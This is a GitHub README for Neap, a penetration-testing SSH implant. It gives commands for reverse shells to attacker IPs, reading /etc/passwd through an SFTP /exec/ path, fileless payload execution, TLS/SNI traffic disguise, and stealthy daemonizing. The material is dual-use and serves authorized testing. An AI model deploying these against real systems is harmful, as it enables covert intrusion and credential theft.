Real-Fruit-Snacks/Neap
GitHub: Real-Fruit-Snacks/Neap
Neap 是一款基于 Rust 的静态链接 SSH 服务器,专为渗透测试设计,集成了全功能 PTY Shell、SFTP 文件传输、端口转发以及 TLS 流量伪装等能力。
Stars: 0 | Forks: 0



**用于渗透测试的静态链接 SSH 服务器。**
单个静态二进制文件即可实现反向 shell、正向 shell、SFTP 文件传输以及完整的 SSH 端口转发。这是 [Undertow](https://github.com/Real-Fruit-Snacks/Undertow) 的 Rust 重写版本,支持 TLS 封装、SNI 欺骗、构建时配置、自动守护进程化、内存 SFTP 以及通过 `/exec/` 实现 SFTP shell。
## 快速开始
**前置条件:** Rust 1.75+, Cargo
```
git clone https://github.com/Real-Fruit-Snacks/Neap.git
cd Neap
make current
```
**使用 build.sh(推荐):**
```
./build.sh reverse 192.168.1.10:4444
./build.sh listen 8888
./build.sh reverse 10.10.14.5:443 --tls --password "secret"
```
**验证:**
```
./neap --help
```
## 功能特性
### 反向 Shell
连接回攻击者,并完全支持 PTY。Linux 使用 openpty,Windows 使用 ConPTY。
```
neap 192.168.1.10
neap -p 31337 kali@192.168.1.10
```
### 正向 Shell
在指定端口上监听传入的 SSH 连接。
```
neap -l -p 4444
neap -v -l -p 4444 # verbose
```
### SFTP 文件传输
完整的 SFTP 子系统,用于通过 SSH 通道进行文件上传和下载。
```
sftp -P 4444 user@target
```
### 端口转发
通过 SSH 隧道进行本地、远程和动态(SOCKS5)转发。
```
# 本地转发
ssh -L 8080:internal:80 -p 4444 user@target
# 动态 SOCKS5
ssh -D 1080 -p 4444 user@target
```
### TLS 封装
使用 SNI 欺骗将 SSH 流量封装在 TLS 中。与正常的 HTTPS 流量融合。
```
./build.sh reverse 10.10.14.5:443 --tls
```
### 构建时配置
所有连接参数在编译时固化。目标端无需运行时参数。
```
./build.sh reverse 10.10.14.5:443 --password "s3cret" --tls
# 生成一个无需任何标志即可自动连接的 binary
```
### SFTP Shell (`/exec/`)
通过任何 SFTP 客户端执行命令 —— 无需 SSH shell 访问权限。访问 `/exec/` 下的路径,Neap 将运行命令,并将输出作为文件内容返回。
```
sftp -P 4444 user@target
sftp> get /exec/whoami /dev/stdout
sftp> get "/exec/cat /etc/passwd" /dev/stdout
sftp> get /exec/ipconfig /dev/stdout
```
适用于任何标准 SFTP 客户端(OpenSSH、WinSCP、FileZilla、scp、curl)。无需自定义工具。
**`nexec` 辅助工具** —— 从攻击者一侧简化命令执行:
```
nexec user@target:4444 "whoami"
nexec user@target:4444 "cat /etc/passwd"
```
### 无文件执行(memfs + /exec/)
通过内存 SFTP 上传二进制文件,然后在不接触磁盘的情况下执行它:
```
sftp> put payload /tmp/payload
nexec user@target:4444 "/tmp/payload"
```
在 Linux 上,使用 `memfd_create()` —— 二进制文件通过 `/proc/self/fd/` 从 RAM 运行。零磁盘痕迹。Windows 回退到临时文件,该文件在执行后立即被删除。
### 自动守护进程化
Neap 在启动时自动后台化。Unix 双 fork 并完全分离终端。Windows 分离进程重生。无可见窗口,无终端输出。
### 内存 SFTP
使用 `--memfs` 实现仅 RAM 文件存储。文件永不接触磁盘 —— 零取证痕迹。设计上所有数据在退出时丢失。
```
neap --memfs -l -p 4444
./build.sh reverse 10.10.14.5:443 --memfs
```
## 架构
```
src/
├── main.rs # Entry point and mode dispatch
├── server/ # SSH server implementation
├── client/ # Reverse connection client
├── shell/ # PTY handling (Linux + Windows ConPTY)
├── sftp/ # SFTP subsystem
├── forward/ # Port forwarding (local, remote, dynamic)
├── tls/ # TLS wrapping with SNI spoofing
└── config/ # Build-time configuration embedding
```
双模式架构:bind(服务器监听)或 reverse(客户端回连)。两者共享相同的 SSH 会话层,并为 shell、SFTP 和转发提供可插拔的子系统。TLS 封装是透明且可选的。
## 平台支持
| | Linux | Windows |
|---|---|---|
| 反向 Shell | 完整 (PTY) | 完整 (ConPTY) |
| 正向 Shell | 完整 (PTY) | 完整 (ConPTY) |
| SFTP | 完整 | 完整 |
| 端口转发 | 完整 | 完整 |
| TLS 封装 | 完整 | 完整 |
| 自动守护进程化 | 完整 (double-fork) | 完整 (detached) |
| 内存 SFTP | 完整 | 完整 |
| SFTP Shell (`/exec/`) | 完整 | 完整 |
| 无文件执行 (memfs) | 完整 (memfd) | 临时文件 |
| 静态二进制 | musl | MSVC |
## 安全性
通过 [GitHub Security Advisories](https://github.com/Real-Fruit-Snacks/Neap/security/advisories) 报告漏洞。90 天负责任的披露。
**Neap 不具备以下功能:**
- 管理植入网络或任务分发(不是 C2)
- 生成漏洞利用或载荷(不是框架)
- 销毁证据或篡改日志(不是反取证)
- 逃避 EDR 行为检测(不是逃避工具)
## 许可证
[GPLv3](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:GPLv3, IP 地址批量处理, PTY, Python 3.9+, Rust, Shell, SNI欺骗, SOCKS代理, SSH服务器, TLS, 内存分配, 反向Shell, 可视化界面, 后门, 底层编程, 开源, 文件传输, 正向Shell, 端口转发, 网络安全, 网络流量审计, 通知系统, 防御工具, 隐私保护, 隧道, 静态链接